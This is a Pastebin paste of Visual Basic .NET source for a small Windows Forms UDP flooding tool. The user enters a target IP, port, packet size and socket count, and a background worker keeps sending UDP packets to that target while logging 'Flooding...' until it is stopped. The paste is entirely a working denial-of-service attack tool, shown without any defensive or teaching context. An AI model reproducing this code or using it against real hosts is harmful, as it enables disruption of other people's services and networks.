Advertisement
Guest User

Untitled

a guest
Jul 28th, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.42 KB | None | 0 0
  1. Imports System.Net, System.Net.Sockets, System.ComponentModel
  2. Public Class Form1
  3. Public Enum Status
  4. Attacking = 1
  5. Stopped = 2
  6. End Enum
  7. Friend WithEvents bgFlood As New BackgroundWorker
  8. Dim IsFlooding As Boolean = False
  9. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  10. bgFlood.WorkerReportsProgress = True
  11. End Sub
  12. Private Sub Flood(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles bgFlood.DoWork
  13. Dim Ip As IPAddress = IPAddress.Parse(Host.Text)
  14. Dim Ipandport As New IPEndPoint(Ip, Convert.ToInt32(Port.Text))
  15. Dim Packet As Byte() = New Byte(PacketSize.text) {}
  16. Dim SockNum As Integer = Sockets.Text
  17. Do While IsFlooding = True
  18. For i = 0 To SockNum
  19. If IsFlooding = True Then
  20. Dim _sock(i) As Socket
  21. _sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
  22. Try
  23. _sock(i).SendTo(Packet, Ipandport)
  24. bgFlood.ReportProgress(Status.Attacking)
  25. Threading.Thread.Sleep(500)
  26. Catch ex As Exception
  27. Threading.Thread.Sleep(500)
  28. End Try
  29. Else
  30. Exit Do
  31. End If
  32.  
  33. Next
  34. Loop
  35. bgFlood.ReportProgress(Status.Stopped)
  36.  
  37. End Sub
  38. Private Sub Report(ByVal sender As Object, ByVal e As ProgressChangedEventArgs) Handles bgFlood.ProgressChanged
  39. Select Case e.ProgressPercentage
  40. Case Status.Attacking
  41. ListBox1.Items.Add("Flooding... -" & Date.Now.ToLocalTime)
  42. ListBox1.SelectedIndex = ListBox1.Items.Count - 1
  43. Case Status.Stopped
  44. ListBox1.Items.Add("Stopped... -" & Date.Now.ToLocalTime)
  45. ListBox1.SelectedIndex = ListBox1.Items.Count - 1
  46. End Select
  47. End Sub
  48.  
  49. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  50. IsFlooding = True
  51. If Not bgFlood.IsBusy Then
  52. bgFlood.RunWorkerAsync()
  53. End If
  54. End Sub
  55.  
  56. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  57. IsFlooding = False
  58. End Sub
  59. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement